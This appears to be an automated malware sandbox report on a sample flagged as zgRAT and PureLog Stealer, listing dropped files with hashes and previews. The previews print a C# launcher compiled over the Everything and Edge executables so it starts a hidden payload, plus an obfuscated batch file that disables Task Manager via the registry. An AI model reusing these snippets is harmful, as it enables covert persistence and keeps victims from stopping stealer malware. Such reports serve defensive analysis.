SHA-512:	03F7BFFD04595A47D0C98BDDA3A24C85754298AD66BD7DC899B2B298A4916A5FF9FD590ED69955D20729C2BC6E035183BED8C4546F08FA348C3EC8A5046C05A1
Malicious:	false
Reputation:	unknown
Preview:	..[.S.e.t.t.i.n.g.s.].....N.u.m.F.i.e.l.d.s.=.9.....R.T.L.=.0.....S.t.a.t.e.=.0.........[.F.i.e.l.d. .1.].....T.y.p.e.=.G.r.o.u.p.B.o.x.....T.e.x.t.=.S.e.t.t.i.n.g.s. .a.n.d. .d.a.t.a. .l.o.c.a.t.i.o.n.....L.e.f.t.=.0.....R.i.g.h.t.=.-.1.....T.o.p.=.0.....B.o.t.t.o.m.=.3.9.....H.W.N.D.=.6.6.6.6.8.........[.F.i.e.l.d. .2.].....F.l.a.g.s.=.G.R.O.U.P.....T.y.p.e.=.R.a.d.i.o.B.u.t.t.o.n.....T.e.x.t.=.%.A.P.P.D.A.T.A.%.\.E.v.e.r.y.t.h.i.n.g.....S.t.a.t.e.=.1.....L.e.f.t.=.6.....R.i.g.h.t.=.-.6.....T.o.p.=.1.0.....B.o.t.t.o.m.=.2.3.....H.W.N.D.=.6.6.6.7.0.........[.F.i.e.l.d. .3.].....T.y.p.e.=.R.a.d.i.o.B.u.t.t.o.n.....T.e.x.t.=.I.n.s.t.a.l.l.a.t.i.o.n. .f.o.l.d.e.r.....S.t.a.t.e.=.0.....L.e.f.t.=.6.....R.i.g.h.t.=.-.6.....T.o.p.=.2.3.....B.o.t.t.o.m.=.3.6.....H.W.N.D.=.6.6.6.7.2.........[.F.i.e.l.d. .4.].....T.y.p.e.=.G.r.o.u.p.B.o.x.....T.e.x.t.=.N.T.F.S. .i.n.d.e.x.i.n.g.....L.e.f.t.=.0.....R.i.g.h.t.=.-.1.....T.o.p.=.4.5.....B.o.t.t.o.m.=.9.7.....H.W.N.D.=.6.6.6.7.4.........[.F.i.e.l.d.

C:\Users\user\AppData\Local\Temp\nss476A.tmp\InstallOptions2.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	2302
Entropy (8bit):	3.573371540654093
Encrypted:	false
SSDEEP:	48:rsX3fjwMXw+DUMUXndyban558enEtF/XnqqGNtUdbPE+ybTfv:rsnfjwMA+IM2ndFn5Jn2nyeb/yXv
MD5:	31121595403CC5CFAC2162E7AD290C7F
SHA1:	C65AB9AD67380D02D62B1FFCC1ED9B034AD7D516
SHA-256:	8718A428F9B32EDF9AEC9756F97962EE3C2F398BA2824CB6AEF924406DF5289A
SHA-512:	B934C70E26A9C9F15F476BE7C22AA35616534202CE0EB2825348BD6BF561CB15B9B967CD44A2032681590C4942A1D1E4238BED07765C1D05DF5C16B2883D9F7F
Malicious:	false
Reputation:	unknown
Preview:	..[.S.e.t.t.i.n.g.s.].....N.u.m.F.i.e.l.d.s.=.9.....R.T.L.=.0.....S.t.a.t.e.=.0.........[.F.i.e.l.d. .1.].....T.y.p.e.=.C.h.e.c.k.B.o.x.....T.e.x.t.=.C.h.e.c.k. .f.o.r. .u.p.d.a.t.e.s. .o.n. .s.t.a.r.t.u.p.....S.t.a.t.e.=.0.....L.e.f.t.=.0.....R.i.g.h.t.=.-.1.....T.o.p.=.0.....B.o.t.t.o.m.=.1.3.....H.W.N.D.=.1.3.2.2.1.6.........[.F.i.e.l.d. .2.].....T.y.p.e.=.C.h.e.c.k.B.o.x.....T.e.x.t.=.S.t.a.r.t. .E.v.e.r.y.t.h.i.n.g. .o.n. .s.y.s.t.e.m. .s.t.a.r.t.u.p.....S.t.a.t.e.=.1.....L.e.f.t.=.0.....R.i.g.h.t.=.-.1.....T.o.p.=.1.3.....B.o.t.t.o.m.=.2.6.....H.W.N.D.=.1.3.2.2.1.4.........[.F.i.e.l.d. .3.].....T.y.p.e.=.C.h.e.c.k.B.o.x.....T.e.x.t.=.I.n.s.t.a.l.l. .f.o.l.d.e.r. .c.o.n.t.e.x.t. .m.e.n.u.s.....S.t.a.t.e.=.0.....L.e.f.t.=.0.....R.i.g.h.t.=.-.1.....T.o.p.=.2.6.....B.o.t.t.o.m.=.3.9.....H.W.N.D.=.1.3.2.2.1.2.........[.F.i.e.l.d. .4.].....T.y.p.e.=.C.h.e.c.k.B.o.x.....T.e.x.t.=.I.n.s.t.a.l.l. .S.t.a.r.t. .m.e.n.u. .s.h.o.r.t.c.u.t.s.....S.t.a.t.e.=.1.....L.e.f.t.=.0.....R.i.g.h.t.=.-.

C:\Users\user\AppData\Local\Temp\nss476A.tmp\LangDLL.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	3.81812520226775
Encrypted:	false
SSDEEP:	48:S46+/nTKYKxbWsptIpBtWZ0iV8jAWiAJCvxft2O2B8mFofjLl:zFuPbOBtWZBV8jAWiAJCdv2Cm0L
MD5:	68B287F4067BA013E34A1339AFDB1EA8
SHA1:	45AD585B3CC8E5A6AF7B68F5D8269C97992130B3
SHA-256:	18E8B40BA22C7A1687BD16E8D585380BC2773FFF5002D7D67E9485FCC0C51026
SHA-512:	06C38BBB07FB55256F3CDC24E77B3C8F3214F25BFD140B521A39D167113BF307A7E8D24E445D510BC5E4E41D33C9173BB14E3F2A38BC29A0E3D08C1F0DCA4BDB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................>..........:..........Rich..........................PE..L....Oa...........!........."......?........ ...............................p............@.........................`"..I...\ ..P....P..`....................`....................................................... ..\............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...`....P......................@..@.reloc..`....`......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss476A.tmp\System.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss476A.tmp\ioSpecial.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1258
Entropy (8bit):	3.69551072954229
Encrypted:	false
SSDEEP:	24:Q+sxvtSSAD5ylSYqWCs7y6PaL9ncCx86k8l9M4xCk6tbYpOXaH65OtC+nMc:rsx9AQSYqQtaR08lLqZXaNd
MD5:	4A47B8E8779134DC57853268646A3C95
SHA1:	3A2414DCBA162E742D58847059F3A0DC05A08944
SHA-256:	4B69E0C88DD888A3AC76A79DEF085DEF9F8581C0B9C15704A7F59795E066611D
SHA-512:	A60FC0E95B96216A4B4B5C303D4EE892C10130E4B61D74E1CC21BB7417D133D3CDAAD116F5361088760B6B6CFC10ABF082B8AE6F195F6C474E8A7E02C37E5C63
Malicious:	false
Reputation:	unknown
Preview:	..[.S.e.t.t.i.n.g.s.].....R.e.c.t.=.1.0.4.4.....N.u.m.F.i.e.l.d.s.=.4.....R.T.L.=.0.....N.e.x.t.B.u.t.t.o.n.T.e.x.t.=.&.F.i.n.i.s.h.....S.t.a.t.e.=.0.....[.F.i.e.l.d. .1.].....T.y.p.e.=.b.i.t.m.a.p.....L.e.f.t.=.0.....R.i.g.h.t.=.1.0.9.....T.o.p.=.0.....B.o.t.t.o.m.=.1.9.3.....F.l.a.g.s.=.R.E.S.I.Z.E.T.O.F.I.T.....T.e.x.t.=.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.n.s.s.4.7.6.A...t.m.p.\.m.o.d.e.r.n.-.w.i.z.a.r.d...b.m.p.....H.W.N.D.=.3.2.8.8.7.2.....[.F.i.e.l.d. .2.].....T.y.p.e.=.l.a.b.e.l.....L.e.f.t.=.1.2.0.....R.i.g.h.t.=.3.1.5.....T.o.p.=.1.0.....B.o.t.t.o.m.=.3.8.....T.e.x.t.=.C.o.m.p.l.e.t.i.n.g. .E.v.e.r.y.t.h.i.n.g. .S.e.t.u.p.....H.W.N.D.=.1.9.7.8.1.8.....[.F.i.e.l.d. .3.].....T.y.p.e.=.l.a.b.e.l.....L.e.f.t.=.1.2.0.....R.i.g.h.t.=.3.1.5.....T.o.p.=.4.5.....B.o.t.t.o.m.=.8.5.....T.e.x.t.=.E.v.e.r.y.t.h.i.n.g. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .o.n. .y.o.u.r. .c.o.m.p.u.t.e.r...\.r.\.n.\.r.\.n.C.l.i.c.k. .F.i.n.i.s.h. .t.o. .c.l.o.s.e. .S.e.t.

C:\Users\user\AppData\Local\Temp\nss476A.tmp\modern-wizard.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 314 x 4, image size 26376, resolution 2834 x 2834 px/m, cbSize 26494, bits offset 118
Category:	dropped
Size (bytes):	26494
Entropy (8bit):	1.9568109962493656
Encrypted:	false
SSDEEP:	24:Qwika6aSaaDaVYoG6abuJsnZs5GhI11BayNXPcDrSsUWcSphsWwlEWqCl6aHAX2x:Qoi47a5G8SddzKFIcsOz3Xz
MD5:	CBE40FD2B1EC96DAEDC65DA172D90022
SHA1:	366C216220AA4329DFF6C485FD0E9B0F4F0A7944
SHA-256:	3AD2DC318056D0A2024AF1804EA741146CFC18CC404649A44610CBF8B2056CF2
SHA-512:	62990CB16E37B6B4EFF6AB03571C3A82DCAA21A1D393C3CB01D81F62287777FB0B4B27F8852B5FA71BC975FEAB5BAA486D33F2C58660210E115DE7E2BD34EA63
Malicious:	false
Reputation:	unknown
Preview:	BM~g......v...(.......:............g..................................................................................DDD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@..DDD....DDDDDD........................................DDDDDDDDDD....DDDDDDDDD........DD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@DDDDDDDDDD@@@@@@D..DD....DDDDDDD......................................DDDDDDDDDD....DDDDDDDDDD......D..D@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDDD@@@@@DDD..D.....DDDDDD......................................DDDDDDDDD.....DDDDDDDDD......DDD..@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDDD@@@@@@DDDD.......DDDDDD.....................................DDDDDDDDDD....DDDDDDDDDD.....DDDDD..@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@DDDDDD.......DDDDDD....................................DDDDDDDDD....DDDDDDDDDD......DDDDDD..@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.0.cs

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	397
Entropy (8bit):	5.08394378511733
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBL6RfiFkMSf+eBLROQboiFkD:JNVQIbSfhW9iFkMSfhBFkD
MD5:	E6D89A2CAD5A44A402759733797D0D5A
SHA1:	61526342CA581B691D6A950B6C728DB92043E9F1
SHA-256:	7FE4A0909F1A6CF5BB2D3CD21F5A0B4DAFAAED3BEBACC7BC8C7914081A9E14C1
SHA-512:	9ECE01DF638C4252B1C9A37C64252EEA6695D57A7E7E9D00AFBE31F719D45CA8FF991BE128F590923773288E92B3484A75C87885B92E05A7C98AF32A01AA52CD
Malicious:	false
Reputation:	unknown
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Program Files\Everything\Everything.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.cmdline

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	248
Entropy (8bit):	5.0658148716877704
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRIU9BzxsjGZxWE8o923fASGWhn:Hu7L//TRZcQy+S
MD5:	0E93113F136FD514D6486ED865B8691D
SHA1:	3F3DAC5D22F507AA4153340636D2091FD0A373F2
SHA-256:	D4061085383DE48029FA9C566C870A53EBA6C0AC5E11C3290D131BE5D1A1C1A1
SHA-512:	B3986E0221851B1CE1DBC354E55831DBB82802DEF8357D1998C3F5ADA8B0FEF1A14A1B64B5B0007889EFA3652FE0D8133BC04AE1AEDAAB2CDEAE3AF6CEE49B75
Malicious:	false
Reputation:	unknown
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files\Everything\Everything.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.0.cs"

C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.out

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with CRLF, CR line terminators
Category:	modified
Size (bytes):	787
Entropy (8bit):	5.210489327865254
Encrypted:	false
SSDEEP:	24:Kj2I/un/VZty+LKax5DqBVKVrdFAMBJTH:pN/Vm+LK2DcVKdBJj
MD5:	28187CA1408093072D61CABCB9631AE0
SHA1:	BEF5F4BF873F86F42FA579C19A281E9595C13808
SHA-256:	34A91A1A75BE9CD0E4DA3BBEDB563F59049A136E55E83243B0360EFD231A86CA
SHA-512:	BD22FD7D2BB6889C43F104C176C59045F694389C7B22BC5046FAA6FB92D919756D31752D1660AAFEB36FC55C00B01642FA7071110D40637B1B480E17C2C5D6DB
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files\Everything\Everything.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\sqls211.exe

Download File

Process:	C:\Users\user\Desktop\wxl1r0lntg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2347946
Entropy (8bit):	7.511778308463523
Encrypted:	false
SSDEEP:	49152:IBJPq9/4rTuPInOgODSegbQddnpKSVVvncFn8O:yRGPIr1UDhvC
MD5:	A79959F25EDA4401D0F5E7B370D6C613
SHA1:	D2F9766917469C7B14BF3300304F3E305977DEEC
SHA-256:	0BC4BE6A914008D39B8934BF6032D64F82D839DD42A441A51EABE3D7DEAF4A32
SHA-512:	261945CCAC0C43458F6B4530B0FFE72F25BFF08B1D7F75D126CBFC05B30172AFF097E5A0C216D11F97042C91C8EEDC95956CE4E82FFAC84646BDDD8C7326E0A3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\sqls211.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\sqls211.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................P............@.........................p...4.......P....@....................... ..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc........@......................@..@.reloc..<#... ...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\usXGuCqZz4

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\v9heKenHcf

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.0.cs

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.12549514533064
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBL6LzIfiFkMSf+eBLROQboiFkD:JNVQIbSfhWLzIiFkMSfhBFkD
MD5:	851FDDEDF5FAA44C1116CAC43EAA9499
SHA1:	FB28FD1EC273C4031339BA2B6CE6B92289E579E9
SHA-256:	AB3EF8AC9D05A107097F09887703CEFDAD66E10C66F9908D58908176DC642E5E
SHA-512:	0535438E680BE7085918B7989503A7FFA1A74485EFFEED267C21E79B5846CA8C6B36C1685DBD41BE7300B50B2E0E3F92A70EF1CCEB505B1DA2B464B08BC4DB10
Malicious:	false
Reputation:	unknown
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	5.169215651772023
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRf5oeTckKBzxsjGZxWE8o923fxN8SEA:Hu7L//TRRzscQy5NoA
MD5:	840EAF33CE190DAC4E9F8CDCA75FF7E0
SHA1:	23084A6DD224413433A175D69134B5543143D989
SHA-256:	D0D495BC2C44C7465195AC06CAE7C67E81DED03B4A2096F374D2AA1F60CC5F6F
SHA-512:	A085B0706A87CE83F160AE0A4A61B06B80C7230BDE0D08F2B673C75DF5BE1AADAF0CD44A8FCB7BC0E172F258E6A28B9A59F4782A67842D24E9D13BCDF0B06FD7
Malicious:	true
Reputation:	unknown
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.0.cs"

C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.out

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (384), with CRLF, CR line terminators
Category:	modified
Size (bytes):	805
Entropy (8bit):	5.2353803285928135
Encrypted:	false
SSDEEP:	24:Kj2I/un/VRzstyTSKax5DqBVKVrdFAMBJTH:pN/VRzfTSK2DcVKdBJj
MD5:	9D3A71DD848957EA5B55142A459668DC
SHA1:	841AAAA7631DC59C37E5A17AB9951A52F150A704
SHA-256:	1C588B20431A38D5D12E6336F6A6EC1ED9163978871890CEE720E4266D96F9BE
SHA-512:	2A56C61BAB3BC8B938991DE4CF3232E0BAD58D301415BD47319B5CB75F3D7283175737B846AD37FBE4BD3D27F48A8110AEAC9B42FDF80F541CC717AE4FC242E3
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\Everything\Everything.ini (copy)

Download File

Process:	C:\Program Files\Everything\Everything.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20568
Entropy (8bit):	4.711600466249169
Encrypted:	false
SSDEEP:	192:BdnZLL+Dy9QOL4jWnTef2JFTAiwTMisXZiPgCSjvtM8nbVwoQTXaS+Ztul4AxuMU:rg8TeEFTA+isX/M8nTZ4z8lJCK
MD5:	49B6FF446EDDAF88EA08A7C16792952E
SHA1:	C0DC334F467D867F0E1D3FABD555EBCAC395FC8B
SHA-256:	2FB724DD202047575842AB8B47F7C395B06C84879AF5A1CD5978B3A0111E3580
SHA-512:	77CAEA2889EF3C8396CF333E6F99656CF087BA69E20F86279CF415E9B3EF598A98A0A2BADA407443910EF24B8D51602EF3D1504F3826F0F9837D07DB488BAB2B
Malicious:	false
Reputation:	unknown
Preview:	; Please make sure Everything is not running before modifying this file...[Everything]..window_x=0..window_y=0..window_wide=0..window_high=0..maximized=0..minimized=0..fullscreen=0..ontop=0..bring_into_view=1..alpha=255..match_whole_word=0..match_path=0..match_case=0..match_diacritics=0..match_regex=0..view=0..thumbnail_size=64..thumbnail_fill=0..min_thumbnail_size=32..max_thumbnail_size=256..medium_thumbnail_size=64..large_thumbnail_size=128..extra_large_thumbnail_size=256..thumbnail_load_size=0..thumbnail_overlay_icon=1..shell_max_path=0..allow_multiple_windows=0..allow_multiple_instances=0..run_in_background=1..show_in_taskbar=1..show_tray_icon=1..minimize_to_tray=0..toggle_window_from_tray_icon=0..alternate_row_color=0..show_mouseover=0..check_for_updates_on_startup=0..beta_updates=0..show_highlighted_search_terms=1..text_size=0..hide_empty_search_results=0..clear_selection_on_search=1..show_focus_on_search=0..new_window_key=0..show_window_key=0..toggle_window_key=0..language=1033.

C:\Users\user\AppData\Roaming\Everything\Everything.ini.tmp

Download File

Process:	C:\Program Files\Everything\Everything.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	20568
Entropy (8bit):	4.711600466249169
Encrypted:	false
SSDEEP:	192:BdnZLL+Dy9QOL4jWnTef2JFTAiwTMisXZiPgCSjvtM8nbVwoQTXaS+Ztul4AxuMU:rg8TeEFTA+isX/M8nTZ4z8lJCK
MD5:	49B6FF446EDDAF88EA08A7C16792952E
SHA1:	C0DC334F467D867F0E1D3FABD555EBCAC395FC8B
SHA-256:	2FB724DD202047575842AB8B47F7C395B06C84879AF5A1CD5978B3A0111E3580
SHA-512:	77CAEA2889EF3C8396CF333E6F99656CF087BA69E20F86279CF415E9B3EF598A98A0A2BADA407443910EF24B8D51602EF3D1504F3826F0F9837D07DB488BAB2B
Malicious:	false
Reputation:	unknown
Preview:	; Please make sure Everything is not running before modifying this file...[Everything]..window_x=0..window_y=0..window_wide=0..window_high=0..maximized=0..minimized=0..fullscreen=0..ontop=0..bring_into_view=1..alpha=255..match_whole_word=0..match_path=0..match_case=0..match_diacritics=0..match_regex=0..view=0..thumbnail_size=64..thumbnail_fill=0..min_thumbnail_size=32..max_thumbnail_size=256..medium_thumbnail_size=64..large_thumbnail_size=128..extra_large_thumbnail_size=256..thumbnail_load_size=0..thumbnail_overlay_icon=1..shell_max_path=0..allow_multiple_windows=0..allow_multiple_instances=0..run_in_background=1..show_in_taskbar=1..show_tray_icon=1..minimize_to_tray=0..toggle_window_from_tray_icon=0..alternate_row_color=0..show_mouseover=0..check_for_updates_on_startup=0..beta_updates=0..show_highlighted_search_terms=1..text_size=0..hide_empty_search_results=0..clear_selection_on_search=1..show_focus_on_search=0..new_window_key=0..show_window_key=0..toggle_window_key=0..language=1033.

C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2PE3PxTrTQg.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\sqls211.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.19267498723557
Encrypted:	false
SSDEEP:	6:k2QlAX+StuH1jhRiI36B+2cQV9NdEpJAcz:k9rVjhR136+icv
MD5:	FE3AF328A3C1AD2712245EA437D47613
SHA1:	2B79946A9B86296CC85A5B42CD4EB5EC750D0AF8
SHA-256:	23E6B4AB5963D8273C7FC2C2BC8CC00F43B52D394008C48D61B0566A9562D41A
SHA-512:	B7677891C88966E435F55A15FF83CB6B1CBE5F67B58745F95E2A4814DCF1A2F123395DC9841A24E237CC17E3609836F08E6DFB606C35C47A54D62E38ED2B6B8D
Malicious:	false
Reputation:	unknown
Preview:	%dSkFdJoiNee%reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f%qvRncBDzm%..%JgRjOV%"%AppData%\surrogateDriverintoSessionNet/containerwebruntime.exe"%pSw%

